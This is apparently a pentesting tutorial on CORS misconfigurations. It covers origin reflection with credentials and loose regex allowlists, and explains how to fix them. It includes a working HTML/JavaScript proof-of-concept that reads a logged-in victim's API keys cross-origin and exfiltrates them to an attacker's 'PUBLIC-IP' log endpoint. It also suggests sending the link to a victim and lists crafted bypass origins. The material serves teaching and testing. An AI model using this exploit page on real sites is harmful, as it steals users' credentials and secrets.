Skip to main content

cross-origin-resource-sharing-cors

Cross-Origin Resource Sharing (CORS)

Cross-Origin Resource Sharing (CORS) is a browser security feature that allows web servers to specify which other domains (origins) can access their resources, relaxing the default Same-Origin Policy (SOP) that blocks cross-domain requests.

One of the key security mechanism used by browsers is the Same-Origin Policy (SOP). Amongst other things, it prevents:

  • JavaScript on site A from reading the cookies of site B.
  • JavaScript on site A from reading the content of site B.

However, developers often want to bypass this mechanism, for example, to get access to api.rezydev.com from rezydev.com.

Historically, the most common method was to use JSONP (JSON with Padding).

Site A will make a request to site B by loading a script:

Script tag in Site A

<script type="application/javascript" src="http://siteB/script.js?callback=mymethod" ></script>Copy

And site B will respond with:

mymethod([DATA]);

Where [DATA] contains the data that site B wants to share with site A.

The problem with this approach is that site A needs to fully trust site B as it will run arbitrary JavaScript code. To limit the impact of a malicious or compromised site B, site A can use CORS.

CORS will use HTTP headers to allow or deny a request. The browser will send a request with an Origin header and the server can decide whether to allow this request. The server can allow the browser to make a CORS request by responding with the header Access-Control-Allow-Origin: and a list of hostnames. By default, the browser will send unauthenticated requests (unless the server specifies otherwise using Access-Control-Allow-Credentials: true).

Access-Control-Allow-Origin: *

A key point of focus when reviewing a CORS policy, is the use of the wildcard (*):

HTTP/1.1 200 OK
[...]
Access-Control-Allow-Origin: *
[...]

However, this will only allow an attacker to get a victim to do unauthenticated calls to the vulnerable site (unless another vulnerability in the browser is used).

When using the Access-Control-Allow-Origin: * even with Access-Control-Allow-Credentials, the browser will never send the credentials of the current user.

info

Unfortunately, CORS does not allow an application to use a wildcard like *.rezydev.com and the developer/administrator will need to manually maintain a white-list of hostnames or add some logic inside the application/server.

Recopy of the Origin header

To avoid using the wildcard (*) or maintaining a white-list of websites, some implementations copy the Origin header from the request back in the response.

Here we can see that a random value for the Origin header is copied into the Access-Control-Allow-Origin header in the response:

curl -H 'Origin: customvaluehere' http://rezydev.com/
HTTP/1.1 200 OK
..snip..
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Access-Control-Allow-Origin: customvaluehere
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, PUT, DELETE, GET, OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
..snip..

Combined with Access-Control-Allow-Credentials: true, this allows an attacker to trick a user visiting their website into doing a Cross-Origin request and read the content of the response.

Gaining access to data from an API call

Since the API calls rely on cookies to authenticate users (as opposed to using a dedicated header that will prevent this attack). You will be able to create a malicious HTML page and get the victim to visit it.

Due to the weak CORS policy, we can get a victim visiting our website to send requests to the vulnerable website and read the responses.

Your malicious page should perform the attack in two phases:

  • Get the victim to load the main page and retrieve the keys from the API, by first using XMLHttpRequest() and setting .withCredentials to true.
  • Get the victim to send the data from the API call to your server using another XMLHttpRequest() or another way to leak information to your server.

So we can create a index.html in our vps with content:

<!DOCTYPE html>
<html>
<head>
<title>CORS PoC</title>
</head>
<body>

<h2>CORS misconfig exploit demo</h2>
<p>Visit this page while logged in to the target site → your API keys/secrets should be sent to the attacker.</p>

<script>
// Step 1: Ask the vulnerable endpoint for the secret (with credentials)
const xhr1 = new XMLHttpRequest();
xhr1.open("POST", "http://api-ptl-a7b2c95c3cda-79cff9287835.libcurl.me/api/v1/keys", false); // ← change URL if different
xhr1.withCredentials = true;
xhr1.send();

let secret = "";
if (xhr1.status === 200) {
secret = xhr1.responseText.trim();
} else {
secret = "failed-to-read";
}

// Step 2: exfiltrate it to attacker's server
const exfilURL = "http://PUBLIC-IP/log?" + encodeURIComponent(secret); // ← your IP / logging endpoint

const xhr2 = new XMLHttpRequest();
xhr2.open("GET", exfilURL, true);
xhr2.withCredentials = false; // usually not needed here
xhr2.send();
</script>

</body>
</html>

Then run python server and send the link to victim. If the victim is loggedin to the target website where he has stored keys or secrets, this will exfiltrate the data and send it back to our public server.

Filters On Place

Sometimes, to fix CORS Origin header reflection issues, developers rely on regex-based allowlists instead of strict origin matching. Unfortunately, these regexes are often written by vibe-coding, copy-pasted, or based on assumptions rather than a precise understanding of how the Origin header works. A common mistake is using a loose pattern like:

/domain\.com/
/domain.com/

instead of a properly anchored regex such as:

^https:\/\/domain\.com$

When the regex only checks whether domain.com appears anywhere in the Origin string, attackers can bypass the restriction using crafted origins like domainXcom.attacker.com or domain.com.attacker.com. Because the regex matches the substring, the backend incorrectly treats the attacker-controlled origin as trusted and reflects it in the Access-Control-Allow-Origin header. This results in a CORS bypass, allowing malicious websites to make authenticated cross-origin requests and potentially read sensitive API responses.